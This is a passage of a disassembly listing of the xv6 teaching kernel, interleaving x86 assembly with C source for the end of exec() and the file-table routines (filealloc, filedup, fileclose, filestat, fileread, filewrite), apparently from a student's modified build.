24 0c 20 00 00 movl $0x20,0xc(%esp) 80100a82: 00 80100a83: 89 74 24 08 mov %esi,0x8(%esp) 80100a87: 89 44 24 04 mov %eax,0x4(%esp) 80100a8b: 89 1c 24 mov %ebx,(%esp) 80100a8e: e8 ad 0e 00 00 call 80101940 <readi> 80100a93: 83 f8 20 cmp $0x20,%eax 80100a96: 0f 85 84 00 00 00 jne 80100b20 <exec+0x180> if(ph.type != ELF_PROG_LOAD) 80100a9c: 83 bd 04 ff ff ff 01 cmpl $0x1,-0xfc(%ebp) 80100aa3: 75 bb jne 80100a60 <exec+0xc0> if(ph.memsz < ph.filesz) 80100aa5: 8b 85 18 ff ff ff mov -0xe8(%ebp),%eax 80100aab: 3b 85 14 ff ff ff cmp -0xec(%ebp),%eax 80100ab1: 72 6d jb 80100b20 <exec+0x180> if(ph.vaddr + ph.memsz < ph.vaddr) 80100ab3: 03 85 0c ff ff ff add -0xf4(%ebp),%eax 80100ab9: 72 65 jb 80100b20 <exec+0x180> if((sz = allocuvm(pgdir, sz, ph.vaddr + ph.memsz)) == 0) 80100abb: 89 44 24 08 mov %eax,0x8(%esp) 80100abf: 8b 85 ec fe ff ff mov -0x114(%ebp),%eax 80100ac5: 89 44 24 04 mov %eax,0x4(%esp) 80100ac9: 8b 85 f0 fe ff ff mov -0x110(%ebp),%eax 80100acf: 89 04 24 mov %eax,(%esp) 80100ad2: e8 a9 5d 00 00 call 80106880 <allocuvm> 80100ad7: 85 c0 test %eax,%eax 80100ad9: 89 85 ec fe ff ff mov %eax,-0x114(%ebp) 80100adf: 74 3f je 80100b20 <exec+0x180> if(ph.vaddr % PGSIZE != 0) 80100ae1: 8b 85 0c ff ff ff mov -0xf4(%ebp),%eax 80100ae7: a9 ff 0f 00 00 test $0xfff,%eax 80100aec: 75 32 jne 80100b20 <exec+0x180> if(loaduvm(pgdir, (char*)ph.vaddr, ip, ph.off, ph.filesz) < 0) 80100aee: 8b 95 14 ff ff ff mov -0xec(%ebp),%edx 80100af4: 89 44 24 04 mov %eax,0x4(%esp) 80100af8: 8b 85 f0 fe ff ff mov -0x110(%ebp),%eax 80100afe: 89 5c 24 08 mov %ebx,0x8(%esp) 80100b02: 89 54 24 10 mov %edx,0x10(%esp) 80100b06: 8b 95 08 ff ff ff mov -0xf8(%ebp),%edx 80100b0c: 89 04 24 mov %eax,(%esp) 80100b0f: 89 54 24 0c mov %edx,0xc(%esp) 80100b13: e8 a8 5c 00 00 call 801067c0 <loaduvm> 80100b18: 85 c0 test %eax,%eax 80100b1a: 0f 89 40 ff ff ff jns 80100a60 <exec+0xc0> freevm(pgdir); 80100b20: 8b 85 f0 fe ff ff mov -0x110(%ebp),%eax 80100b26: 89 04 24 mov %eax,(%esp) 80100b29: e8 72 5e 00 00 call 801069a0 <freevm> 80100b2e: e9 cd fe ff ff jmp 80100a00 <exec+0x60> iunlockput(ip); 80100b33: 89 1c 24 mov %ebx,(%esp) 80100b36: e8 b5 0d 00 00 call 801018f0 <iunlockput> 80100b3b: 90 nop 80100b3c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi end_op(); 80100b40: e8 1b 20 00 00 call 80102b60 <end_op> if((sp = allocuvm(pgdir, PGROUNDDOWN(KERNBASE - 1 - PGSIZE), (KERNBASE - 1))) == 0) 80100b45: 8b 85 f0 fe ff ff mov -0x110(%ebp),%eax 80100b4b: c7 44 24 08 ff ff ff movl $0x7fffffff,0x8(%esp) 80100b52: 7f 80100b53: c7 44 24 04 00 e0 ff movl $0x7fffe000,0x4(%esp) 80100b5a: 7f 80100b5b: 89 04 24 mov %eax,(%esp) 80100b5e: e8 1d 5d 00 00 call 80106880 <allocuvm> 80100b63: 85 c0 test %eax,%eax 80100b65: 89 c3 mov %eax,%ebx 80100b67: 0f 84 8b 00 00 00 je 80100bf8 <exec+0x258> for(argc = 0; argv[argc]; argc++) { 80100b6d: 8b 45 0c mov 0xc(%ebp),%eax 80100b70: 8b 00 mov (%eax),%eax 80100b72: 85 c0 test %eax,%eax 80100b74: 0f 84 8f 01 00 00 je 80100d09 <exec+0x369> 80100b7a: 8b 4d 0c mov 0xc(%ebp),%ecx 80100b7d: 31 d2 xor %edx,%edx 80100b7f: 8d 71 04 lea 0x4(%ecx),%esi 80100b82: 89 cf mov %ecx,%edi 80100b84: 89 f1 mov %esi,%ecx 80100b86: 89 d6 mov %edx,%esi 80100b88: 89 ca mov %ecx,%edx 80100b8a: eb 2a jmp 80100bb6 <exec+0x216> 80100b8c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80100b90: 8b 95 e8 fe ff ff mov -0x118(%ebp),%edx ustack[3+argc] = sp; 80100b96: 8d 8d 58 ff ff ff lea -0xa8(%ebp),%ecx 80100b9c: 89 9c b5 64 ff ff ff mov %ebx,-0x9c(%ebp,%esi,4) for(argc = 0; argv[argc]; argc++) { 80100ba3: 83 c6 01 add $0x1,%esi 80100ba6: 8b 02 mov (%edx),%eax 80100ba8: 89 d7 mov %edx,%edi 80100baa: 85 c0 test %eax,%eax 80100bac: 74 7d je 80100c2b <exec+0x28b> 80100bae: 83 c2 04 add $0x4,%edx if(argc >= MAXARG) 80100bb1: 83 fe 20 cmp $0x20,%esi 80100bb4: 74 42 je 80100bf8 <exec+0x258> sp = (sp - (strlen(argv[argc]) + 1)) & ~3; 80100bb6: 89 04 24 mov %eax,(%esp) 80100bb9: 89 95 e8 fe ff ff mov %edx,-0x118(%ebp) 80100bbf: e8 bc 38 00 00 call 80104480 <strlen> 80100bc4: f7 d0 not %eax 80100bc6: 01 c3 add %eax,%ebx if(copyout(pgdir, sp, argv[argc], strlen(argv[argc]) + 1) < 0) 80100bc8: 8b 07 mov (%edi),%eax sp = (sp - (strlen(argv[argc]) + 1)) & ~3; 80100bca: 83 e3 fc and $0xfffffffc,%ebx if(copyout(pgdir, sp, argv[argc], strlen(argv[argc]) + 1) < 0) 80100bcd: 89 04 24 mov %eax,(%esp) 80100bd0: e8 ab 38 00 00 call 80104480 <strlen> 80100bd5: 83 c0 01 add $0x1,%eax 80100bd8: 89 44 24 0c mov %eax,0xc(%esp) 80100bdc: 8b 07 mov (%edi),%eax 80100bde: 89 5c 24 04 mov %ebx,0x4(%esp) 80100be2: 89 44 24 08 mov %eax,0x8(%esp) 80100be6: 8b 85 f0 fe ff ff mov -0x110(%ebp),%eax 80100bec: 89 04 24 mov %eax,(%esp) 80100bef: e8 ec 60 00 00 call 80106ce0 <copyout> 80100bf4: 85 c0 test %eax,%eax 80100bf6: 79 98 jns 80100b90 <exec+0x1f0> freevm(pgdir); 80100bf8: 8b 85 f0 fe ff ff mov -0x110(%ebp),%eax 80100bfe: 89 04 24 mov %eax,(%esp) 80100c01: e8 9a 5d 00 00 call 801069a0 <freevm> return -1; 80100c06: b8 ff ff ff ff mov $0xffffffff,%eax 80100c0b: e9 02 fe ff ff jmp 80100a12 <exec+0x72> end_op(); 80100c10: e8 4b 1f 00 00 call 80102b60 <end_op> cprintf("exec: fail\n"); 80100c15: c7 04 24 81 6e 10 80 movl $0x80106e81,(%esp) 80100c1c: e8 2f fa ff ff call 80100650 <cprintf> return -1; 80100c21: b8 ff ff ff ff mov $0xffffffff,%eax 80100c26: e9 e7 fd ff ff jmp 80100a12 <exec+0x72> 80100c2b: 89 f2 mov %esi,%edx ustack[3+argc] = 0; 80100c2d: c7 84 95 64 ff ff ff movl $0x0,-0x9c(%ebp,%edx,4) 80100c34: 00 00 00 00 ustack[2] = sp - (argc+1)*4; // argv pointer 80100c38: 8d 04 95 04 00 00 00 lea 0x4(,%edx,4),%eax ustack[1] = argc; 80100c3f: 89 95 5c ff ff ff mov %edx,-0xa4(%ebp) ustack[2] = sp - (argc+1)*4; // argv pointer 80100c45: 89 da mov %ebx,%edx 80100c47: 29 c2 sub %eax,%edx sp -= (3+argc+1) * 4; 80100c49: 83 c0 0c add $0xc,%eax 80100c4c: 29 c3 sub %eax,%ebx if(copyout(pgdir, sp, ustack, (3+argc+1)*4) < 0) 80100c4e: 89 44 24 0c mov %eax,0xc(%esp) 80100c52: 8b 85 f0 fe ff ff mov -0x110(%ebp),%eax 80100c58: 89 4c 24 08 mov %ecx,0x8(%esp) 80100c5c: 89 5c 24 04 mov %ebx,0x4(%esp) ustack[0] = 0xffffffff; // fake return PC 80100c60: c7 85 58 ff ff ff ff movl $0xffffffff,-0xa8(%ebp) 80100c67: ff ff ff if(copyout(pgdir, sp, ustack, (3+argc+1)*4) < 0) 80100c6a: 89 04 24 mov %eax,(%esp) ustack[2] = sp - (argc+1)*4; // argv pointer 80100c6d: 89 95 60 ff ff ff mov %edx,-0xa0(%ebp) if(copyout(pgdir, sp, ustack, (3+argc+1)*4) < 0) 80100c73: e8 68 60 00 00 call 80106ce0 <copyout> 80100c78: 85 c0 test %eax,%eax 80100c7a: 0f 88 78 ff ff ff js 80100bf8 <exec+0x258> for(last=s=path; *s; s++) 80100c80: 8b 45 08 mov 0x8(%ebp),%eax 80100c83: 0f b6 10 movzbl (%eax),%edx 80100c86: 84 d2 test %dl,%dl 80100c88: 74 19 je 80100ca3 <exec+0x303> 80100c8a: 8b 4d 08 mov 0x8(%ebp),%ecx 80100c8d: 83 c0 01 add $0x1,%eax last = s+1; 80100c90: 80 fa 2f cmp $0x2f,%dl for(last=s=path; *s; s++) 80100c93: 0f b6 10 movzbl (%eax),%edx last = s+1; 80100c96: 0f 44 c8 cmove %eax,%ecx 80100c99: 83 c0 01 add $0x1,%eax for(last=s=path; *s; s++) 80100c9c: 84 d2 test %dl,%dl 80100c9e: 75 f0 jne 80100c90 <exec+0x2f0> 80100ca0: 89 4d 08 mov %ecx,0x8(%ebp) safestrcpy(curproc->name, last, sizeof(curproc->name)); 80100ca3: 8b bd f4 fe ff ff mov -0x10c(%ebp),%edi 80100ca9: 8b 45 08 mov 0x8(%ebp),%eax 80100cac: c7 44 24 08 10 00 00 movl $0x10,0x8(%esp) 80100cb3: 00 80100cb4: 89 44 24 04 mov %eax,0x4(%esp) 80100cb8: 89 f8 mov %edi,%eax 80100cba: 83 c0 6c add $0x6c,%eax 80100cbd: 89 04 24 mov %eax,(%esp) 80100cc0: e8 7b 37 00 00 call 80104440 <safestrcpy> curproc->pgdir = pgdir; 80100cc5: 8b 8d f0 fe ff ff mov -0x110(%ebp),%ecx oldpgdir = curproc->pgdir; 80100ccb: 8b 77 04 mov 0x4(%edi),%esi curproc->tf->eip = elf.entry; // main 80100cce: 8b 47 18 mov 0x18(%edi),%eax curproc->sTop = sTop; 80100cd1: c7 47 7c 00 10 00 00 movl $0x1000,0x7c(%edi) curproc->pgdir = pgdir; 80100cd8: 89 4f 04 mov %ecx,0x4(%edi) curproc->sz = sz; 80100cdb: 8b 8d ec fe ff ff mov -0x114(%ebp),%ecx 80100ce1: 89 0f mov %ecx,(%edi) curproc->tf->eip = elf.entry; // main 80100ce3: 8b 95 3c ff ff ff mov -0xc4(%ebp),%edx 80100ce9: 89 50 38 mov %edx,0x38(%eax) curproc->tf->esp = sp; 80100cec: 8b 47 18 mov 0x18(%edi),%eax 80100cef: 89 58 44 mov %ebx,0x44(%eax) switchuvm(curproc); 80100cf2: 89 3c 24 mov %edi,(%esp) 80100cf5: e8 26 59 00 00 call 80106620 <switchuvm> freevm(oldpgdir); 80100cfa: 89 34 24 mov %esi,(%esp) 80100cfd: e8 9e 5c 00 00 call 801069a0 <freevm> return 0; 80100d02: 31 c0 xor %eax,%eax 80100d04: e9 09 fd ff ff jmp 80100a12 <exec+0x72> for(argc = 0; argv[argc]; argc++) { 80100d09: 31 d2 xor %edx,%edx 80100d0b: 8d 8d 58 ff ff ff lea -0xa8(%ebp),%ecx 80100d11: e9 17 ff ff ff jmp 80100c2d <exec+0x28d> 80100d16: 66 90 xchg %ax,%ax 80100d18: 66 90 xchg %ax,%ax 80100d1a: 66 90 xchg %ax,%ax 80100d1c: 66 90 xchg %ax,%ax 80100d1e: 66 90 xchg %ax,%ax 80100d20 <fileinit>: struct file file[NFILE]; } ftable; void fileinit(void) { 80100d20: 55 push %ebp 80100d21: 89 e5 mov %esp,%ebp 80100d23: 83 ec 18 sub $0x18,%esp initlock(&ftable.lock, "ftable"); 80100d26: c7 44 24 04 8d 6e 10 movl $0x80106e8d,0x4(%esp) 80100d2d: 80 80100d2e: c7 04 24 c0 ff 10 80 movl $0x8010ffc0,(%esp) 80100d35: e8 f6 32 00 00 call 80104030 <initlock> } 80100d3a: c9 leave 80100d3b: c3 ret 80100d3c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80100d40 <filealloc>: // Allocate a file structure. struct file* filealloc(void) { 80100d40: 55 push %ebp 80100d41: 89 e5 mov %esp,%ebp 80100d43: 53 push %ebx struct file *f; acquire(&ftable.lock); for(f = ftable.file; f < ftable.file + NFILE; f++){ 80100d44: bb f4 ff 10 80 mov $0x8010fff4,%ebx { 80100d49: 83 ec 14 sub $0x14,%esp acquire(&ftable.lock); 80100d4c: c7 04 24 c0 ff 10 80 movl $0x8010ffc0,(%esp) 80100d53: e8 c8 33 00 00 call 80104120 <acquire> 80100d58: eb 11 jmp 80100d6b <filealloc+0x2b> 80100d5a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi for(f = ftable.file; f < ftable.file + NFILE; f++){ 80100d60: 83 c3 18 add $0x18,%ebx 80100d63: 81 fb 54 09 11 80 cmp $0x80110954,%ebx 80100d69: 74 25 je 80100d90 <filealloc+0x50> if(f->ref == 0){ 80100d6b: 8b 43 04 mov 0x4(%ebx),%eax 80100d6e: 85 c0 test %eax,%eax 80100d70: 75 ee jne 80100d60 <filealloc+0x20> f->ref = 1; release(&ftable.lock); 80100d72: c7 04 24 c0 ff 10 80 movl $0x8010ffc0,(%esp) f->ref = 1; 80100d79: c7 43 04 01 00 00 00 movl $0x1,0x4(%ebx) release(&ftable.lock); 80100d80: e8 8b 34 00 00 call 80104210 <release> return f; } } release(&ftable.lock); return 0; } 80100d85: 83 c4 14 add $0x14,%esp return f; 80100d88: 89 d8 mov %ebx,%eax } 80100d8a: 5b pop %ebx 80100d8b: 5d pop %ebp 80100d8c: c3 ret 80100d8d: 8d 76 00 lea 0x0(%esi),%esi release(&ftable.lock); 80100d90: c7 04 24 c0 ff 10 80 movl $0x8010ffc0,(%esp) 80100d97: e8 74 34 00 00 call 80104210 <release> } 80100d9c: 83 c4 14 add $0x14,%esp return 0; 80100d9f: 31 c0 xor %eax,%eax } 80100da1: 5b pop %ebx 80100da2: 5d pop %ebp 80100da3: c3 ret 80100da4: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80100daa: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 80100db0 <filedup>: // Increment ref count for file f. struct file* filedup(struct file *f) { 80100db0: 55 push %ebp 80100db1: 89 e5 mov %esp,%ebp 80100db3: 53 push %ebx 80100db4: 83 ec 14 sub $0x14,%esp 80100db7: 8b 5d 08 mov 0x8(%ebp),%ebx acquire(&ftable.lock); 80100dba: c7 04 24 c0 ff 10 80 movl $0x8010ffc0,(%esp) 80100dc1: e8 5a 33 00 00 call 80104120 <acquire> if(f->ref < 1) 80100dc6: 8b 43 04 mov 0x4(%ebx),%eax 80100dc9: 85 c0 test %eax,%eax 80100dcb: 7e 1a jle 80100de7 <filedup+0x37> panic("filedup"); f->ref++; 80100dcd: 83 c0 01 add $0x1,%eax 80100dd0: 89 43 04 mov %eax,0x4(%ebx) release(&ftable.lock); 80100dd3: c7 04 24 c0 ff 10 80 movl $0x8010ffc0,(%esp) 80100dda: e8 31 34 00 00 call 80104210 <release> return f; } 80100ddf: 83 c4 14 add $0x14,%esp 80100de2: 89 d8 mov %ebx,%eax 80100de4: 5b pop %ebx 80100de5: 5d pop %ebp 80100de6: c3 ret panic("filedup"); 80100de7: c7 04 24 94 6e 10 80 movl $0x80106e94,(%esp) 80100dee: e8 6d f5 ff ff call 80100360 <panic> 80100df3: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80100df9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80100e00 <fileclose>: // Close file f. (Decrement ref count, close when reaches 0.) void fileclose(struct file *f) { 80100e00: 55 push %ebp 80100e01: 89 e5 mov %esp,%ebp 80100e03: 57 push %edi 80100e04: 56 push %esi 80100e05: 53 push %ebx 80100e06: 83 ec 1c sub $0x1c,%esp 80100e09: 8b 7d 08 mov 0x8(%ebp),%edi struct file ff; acquire(&ftable.lock); 80100e0c: c7 04 24 c0 ff 10 80 movl $0x8010ffc0,(%esp) 80100e13: e8 08 33 00 00 call 80104120 <acquire> if(f->ref < 1) 80100e18: 8b 57 04 mov 0x4(%edi),%edx 80100e1b: 85 d2 test %edx,%edx 80100e1d: 0f 8e 89 00 00 00 jle 80100eac <fileclose+0xac> panic("fileclose"); if(--f->ref > 0){ 80100e23: 83 ea 01 sub $0x1,%edx 80100e26: 85 d2 test %edx,%edx 80100e28: 89 57 04 mov %edx,0x4(%edi) 80100e2b: 74 13 je 80100e40 <fileclose+0x40> release(&ftable.lock); 80100e2d: c7 45 08 c0 ff 10 80 movl $0x8010ffc0,0x8(%ebp) else if(ff.type == FD_INODE){ begin_op(); iput(ff.ip); end_op(); } } 80100e34: 83 c4 1c add $0x1c,%esp 80100e37: 5b pop %ebx 80100e38: 5e pop %esi 80100e39: 5f pop %edi 80100e3a: 5d pop %ebp release(&ftable.lock); 80100e3b: e9 d0 33 00 00 jmp 80104210 <release> ff = *f; 80100e40: 0f b6 47 09 movzbl 0x9(%edi),%eax 80100e44: 8b 37 mov (%edi),%esi 80100e46: 8b 5f 0c mov 0xc(%edi),%ebx f->type = FD_NONE; 80100e49: c7 07 00 00 00 00 movl $0x0,(%edi) ff = *f; 80100e4f: 88 45 e7 mov %al,-0x19(%ebp) 80100e52: 8b 47 10 mov 0x10(%edi),%eax release(&ftable.lock); 80100e55: c7 04 24 c0 ff 10 80 movl $0x8010ffc0,(%esp) ff = *f; 80100e5c: 89 45 e0 mov %eax,-0x20(%ebp) release(&ftable.lock); 80100e5f: e8 ac 33 00 00 call 80104210 <release> if(ff.type == FD_PIPE) 80100e64: 83 fe 01 cmp $0x1,%esi 80100e67: 74 0f je 80100e78 <fileclose+0x78> else if(ff.type == FD_INODE){ 80100e69: 83 fe 02 cmp $0x2,%esi 80100e6c: 74 22 je 80100e90 <fileclose+0x90> } 80100e6e: 83 c4 1c add $0x1c,%esp 80100e71: 5b pop %ebx 80100e72: 5e pop %esi 80100e73: 5f pop %edi 80100e74: 5d pop %ebp 80100e75: c3 ret 80100e76: 66 90 xchg %ax,%ax pipeclose(ff.pipe, ff.writable); 80100e78: 0f be 75 e7 movsbl -0x19(%ebp),%esi 80100e7c: 89 1c 24 mov %ebx,(%esp) 80100e7f: 89 74 24 04 mov %esi,0x4(%esp) 80100e83: e8 b8 23 00 00 call 80103240 <pipeclose> 80100e88: eb e4 jmp 80100e6e <fileclose+0x6e> 80100e8a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi begin_op(); 80100e90: e8 5b 1c 00 00 call 80102af0 <begin_op> iput(ff.ip); 80100e95: 8b 45 e0 mov -0x20(%ebp),%eax 80100e98: 89 04 24 mov %eax,(%esp) 80100e9b: e8 10 09 00 00 call 801017b0 <iput> } 80100ea0: 83 c4 1c add $0x1c,%esp 80100ea3: 5b pop %ebx 80100ea4: 5e pop %esi 80100ea5: 5f pop %edi 80100ea6: 5d pop %ebp end_op(); 80100ea7: e9 b4 1c 00 00 jmp 80102b60 <end_op> panic("fileclose"); 80100eac: c7 04 24 9c 6e 10 80 movl $0x80106e9c,(%esp) 80100eb3: e8 a8 f4 ff ff call 80100360 <panic> 80100eb8: 90 nop 80100eb9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80100ec0 <filestat>: // Get metadata about file f. int filestat(struct file *f, struct stat *st) { 80100ec0: 55 push %ebp 80100ec1: 89 e5 mov %esp,%ebp 80100ec3: 53 push %ebx 80100ec4: 83 ec 14 sub $0x14,%esp 80100ec7: 8b 5d 08 mov 0x8(%ebp),%ebx if(f->type == FD_INODE){ 80100eca: 83 3b 02 cmpl $0x2,(%ebx) 80100ecd: 75 31 jne 80100f00 <filestat+0x40> ilock(f->ip); 80100ecf: 8b 43 10 mov 0x10(%ebx),%eax 80100ed2: 89 04 24 mov %eax,(%esp) 80100ed5: e8 b6 07 00 00 call 80101690 <ilock> stati(f->ip, st); 80100eda: 8b 45 0c mov 0xc(%ebp),%eax 80100edd: 89 44 24 04 mov %eax,0x4(%esp) 80100ee1: 8b 43 10 mov 0x10(%ebx),%eax 80100ee4: 89 04 24 mov %eax,(%esp) 80100ee7: e8 24 0a 00 00 call 80101910 <stati> iunlock(f->ip); 80100eec: 8b 43 10 mov 0x10(%ebx),%eax 80100eef: 89 04 24 mov %eax,(%esp) 80100ef2: e8 79 08 00 00 call 80101770 <iunlock> return 0; } return -1; } 80100ef7: 83 c4 14 add $0x14,%esp return 0; 80100efa: 31 c0 xor %eax,%eax } 80100efc: 5b pop %ebx 80100efd: 5d pop %ebp 80100efe: c3 ret 80100eff: 90 nop 80100f00: 83 c4 14 add $0x14,%esp return -1; 80100f03: b8 ff ff ff ff mov $0xffffffff,%eax } 80100f08: 5b pop %ebx 80100f09: 5d pop %ebp 80100f0a: c3 ret 80100f0b: 90 nop 80100f0c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80100f10 <fileread>: // Read from file f. int fileread(struct file *f, char *addr, int n) { 80100f10: 55 push %ebp 80100f11: 89 e5 mov %esp,%ebp 80100f13: 57 push %edi 80100f14: 56 push %esi 80100f15: 53 push %ebx 80100f16: 83 ec 1c sub $0x1c,%esp 80100f19: 8b 5d 08 mov 0x8(%ebp),%ebx 80100f1c: 8b 75 0c mov 0xc(%ebp),%esi 80100f1f: 8b 7d 10 mov 0x10(%ebp),%edi int r; if(f->readable == 0) 80100f22: 80 7b 08 00 cmpb $0x0,0x8(%ebx) 80100f26: 74 68 je 80100f90 <fileread+0x80> return -1; if(f->type == FD_PIPE) 80100f28: 8b 03 mov (%ebx),%eax 80100f2a: 83 f8 01 cmp $0x1,%eax 80100f2d: 74 49 je 80100f78 <fileread+0x68> return piperead(f->pipe, addr, n); if(f->type == FD_INODE){ 80100f2f: 83 f8 02 cmp $0x2,%eax 80100f32: 75 63 jne 80100f97 <fileread+0x87> ilock(f->ip); 80100f34: 8b 43 10 mov 0x10(%ebx),%eax 80100f37: 89 04 24 mov %eax,(%esp) 80100f3a: e8 51 07 00 00 call 80101690 <ilock> if((r = readi(f->ip, addr, f->off, n)) > 0) 80100f3f: 89 7c 24 0c mov %edi,0xc(%esp) 80100f43: 8b 43 14 mov 0x14(%ebx),%eax 80100f46: 89 74 24 04 mov %esi,0x4(%esp) 80100f4a: 89 44 24 08 mov %eax,0x8(%esp) 80100f4e: 8b 43 10 mov 0x10(%ebx),%eax 80100f51: 89 04 24 mov %eax,(%esp) 80100f54: e8 e7 09 00 00 call 80101940 <readi> 80100f59: 85 c0 test %eax,%eax 80100f5b: 89 c6 mov %eax,%esi 80100f5d: 7e 03 jle 80100f62 <fileread+0x52> f->off += r; 80100f5f: 01 43 14 add %eax,0x14(%ebx) iunlock(f->ip); 80100f62: 8b 43 10 mov 0x10(%ebx),%eax 80100f65: 89 04 24 mov %eax,(%esp) 80100f68: e8 03 08 00 00 call 80101770 <iunlock> if((r = readi(f->ip, addr, f->off, n)) > 0) 80100f6d: 89 f0 mov %esi,%eax return r; } panic("fileread"); } 80100f6f: 83 c4 1c add $0x1c,%esp 80100f72: 5b pop %ebx 80100f73: 5e pop %esi 80100f74: 5f pop %edi 80100f75: 5d pop %ebp 80100f76: c3 ret 80100f77: 90 nop return piperead(f->pipe, addr, n); 80100f78: 8b 43 0c mov 0xc(%ebx),%eax 80100f7b: 89 45 08 mov %eax,0x8(%ebp) } 80100f7e: 83 c4 1c add $0x1c,%esp 80100f81: 5b pop %ebx 80100f82: 5e pop %esi 80100f83: 5f pop %edi 80100f84: 5d pop %ebp return piperead(f->pipe, addr, n); 80100f85: e9 36 24 00 00 jmp 801033c0 <piperead> 80100f8a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi return -1; 80100f90: b8 ff ff ff ff mov $0xffffffff,%eax 80100f95: eb d8 jmp 80100f6f <fileread+0x5f> panic("fileread"); 80100f97: c7 04 24 a6 6e 10 80 movl $0x80106ea6,(%esp) 80100f9e: e8 bd f3 ff ff call 80100360 <panic> 80100fa3: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80100fa9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80100fb0 <filewrite>: //PAGEBREAK! // Write to file f. int filewrite(struct file *f, char *addr, int n) { 80100fb0: 55 push %ebp 80100fb1: 89 e5 mov %esp,%ebp 80100fb3: 57 push %edi 80100fb4: 56 push %esi 80100fb5: 53 push %ebx 80100fb6: 83 ec 2c sub $0x2c,%esp 80100fb9: 8b 45 0c mov 0xc(%ebp),%eax 80100fbc: 8b 7d 08 mov 0x8(%ebp),%edi 80100fbf: 89 45 dc mov %eax,-0x24(%ebp) 80100fc2: 8b 45 10 mov 0x10(%ebp),%eax int r; if(f->writable == 0) 80100fc5: 80 7f 09 00 cmpb $0x0,0x9(%edi) { 80100fc9: 89 45 e4 mov %eax,-0x1c(%ebp) if(f->writable == 0) 80100fcc: 0f 84 ae 00 00 00 je 80101080 <filewrite+0xd0> return -1; if(f->type == FD_PIPE) 80100fd2: 8b 07 mov (%edi),%eax 80100fd4: 83 f8 01 cmp $0x1,%eax 80100fd7: 0f 84 c2 00 00 00 je 8010109f <filewrite+0xef> return pipewrite(f->pipe, addr, n); if(f->type == FD_INODE){ 80100fdd: 83 f8 02 cmp $0x2,%eax 80100fe0: 0f 85 d7 00 00 00 jne 801010bd <filewrite+0x10d> // and 2 blocks of slop for non-aligned writes. // this really belongs lower down, since writei() // might be writing a device like the console. int max = ((LOGSIZE-1-1-2) / 2) * 512; int i = 0; while(i < n){ 80100fe6: 8b 45 e4 mov -0x1c(%ebp),%eax 80100fe9: 31 db xor %ebx,%ebx 80100feb: 85 c0 test %eax,%eax 80100fed: 7f 31 jg 80101020 <filewrite+0x70> 80100fef: e9 9c 00 00 00 jmp 80101090 <filewrite+0xe0> 80100ff4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi begin_op(); ilock(f->ip); if ((r = writei(f->ip, addr + i, f->off, n1)) > 0) f->off += r; iunlock(f->ip); 80100ff8: 8b 4f 10 mov 0x10(%edi),%ecx f->off += r; 80100ffb: 01 47 14 add %eax,0x14(%edi) 80100ffe: 89 45 e0 mov %eax,-0x20(%ebp) iunlock(f->ip); 80101001: 89 0c 24 mov %ecx,(%esp) 80101004: e8 67 07 00 00 call 80101770 <iunlock> end_op(); 80101009: e8 52 1b 00 00 call 80102b60 <end_op> 8010100e: 8b 45 e0 mov -0x20(%ebp),%eax if(r < 0) break; if(r != n1) 80101011: 39 f0 cmp %esi,%eax 80101013: 0f 85 98 00 00 00 jne 801010b1 <filewrite+0x101> panic("short filewrite"); i += r; 80101019: 01 c3 add %eax,%ebx while(i < n){ 8010101b: 39 5d e4 cmp %ebx,-0x1c(%ebp) 8010101e: 7e 70 jle 80101090 <filewrite+0xe0> int n1 = n - i; 80101020: 8b 75 e4 mov -0x1c(%ebp),%esi 80101023: b8 00 1a 00 00 mov $0x1a00,%eax 80101028: 29 de sub %ebx,%esi 8010102a: 81 fe 00 1a 00 00 cmp $0x1a00,%esi 80101030: 0f 4f f0 cmovg %eax,%esi begin_op(); 80101033: e8 b8 1a 00 00 call 80102af0 <begin_op> ilock(f->ip); 80101038: 8b 47 10 mov 0x10(%edi),%eax 8010103b: 89 04 24 mov %eax,(%esp) 8010103e: e8 4d 06 00 00 call 80101690 <ilock> if ((r = writei(f->ip, addr + i, f->off, n1)) > 0) 80101043: 89 74 24 0c mov %esi,0xc(%esp) 80101047: 8b 47 14 mov 0x14(%edi),%eax 8010104a: 89 44 24 08 mov %eax,0x8(%esp) 8010104e: 8b 45 dc mov -0x24(%ebp),%eax 80101051: 01 d8 add %ebx,%eax 80101053: 89 44 24 04 mov %eax,0x4(%esp) 80101057: 8b 47 10 mov 0x10(%edi),%eax 8010105a: 89 04 24 mov %eax,(%esp) 8010105d: e8 de 09 00 00 call 80101a40 <writei> 80101062: 85 c0 test %eax,%eax 80101064: 7f 92 jg 80100ff8 <filewrite+0x48> iunlock(f->ip); 80101066: 8b 4f 10 mov 0x10(%edi),%ecx 80101069: 89 45 e0 mov %eax,-0x20(%ebp) 8010106c: 89 0c 24 mov %ecx,(%esp) 8010106f: e8 fc 06 00 00 call 80101770 <iunlock> end_op(); 80101074: e8 e7 1a 00 00 call 80102b60 <end_op> if(r < 0) 80101079: 8b 45 e0 mov -0x20(%ebp),%eax 8010107c: 85 c0 test %eax,%eax 8010107e: 74 91 je 80101011 <filewrite+0x61> } return i == n ? n : -1; } panic("filewrite"); } 80101080: 83 c4 2c add $0x2c,%esp return -1; 80101083: b8 ff ff ff ff mov $0xffffffff,%eax } 80101088: 5b pop %ebx 80101089: 5e pop %esi 8010108a: 5f pop %edi 8010108b: 5d pop %ebp 8010108c: c3 ret 8010108d: 8d 76 00 lea 0x0(%esi),%esi return i == n ? n : -1; 80101090: 3b 5d e4 cmp -0x1c(%ebp),%ebx 80101093: 89 d8 mov %ebx,%eax 80101095: 75 e9 jne 80101080 <filewrite+0xd0> } 80101097: 83 c4 2c add $0x2c,%esp 8010109a: 5b pop %ebx 8010109b: 5e pop %esi 8010109c: 5f pop %edi 8010109d: 5d pop %ebp 8010109e: c3 ret return pipewrite(f->pipe, addr, n); 8010109f: 8b 47 0c mov 0xc(%edi),%eax 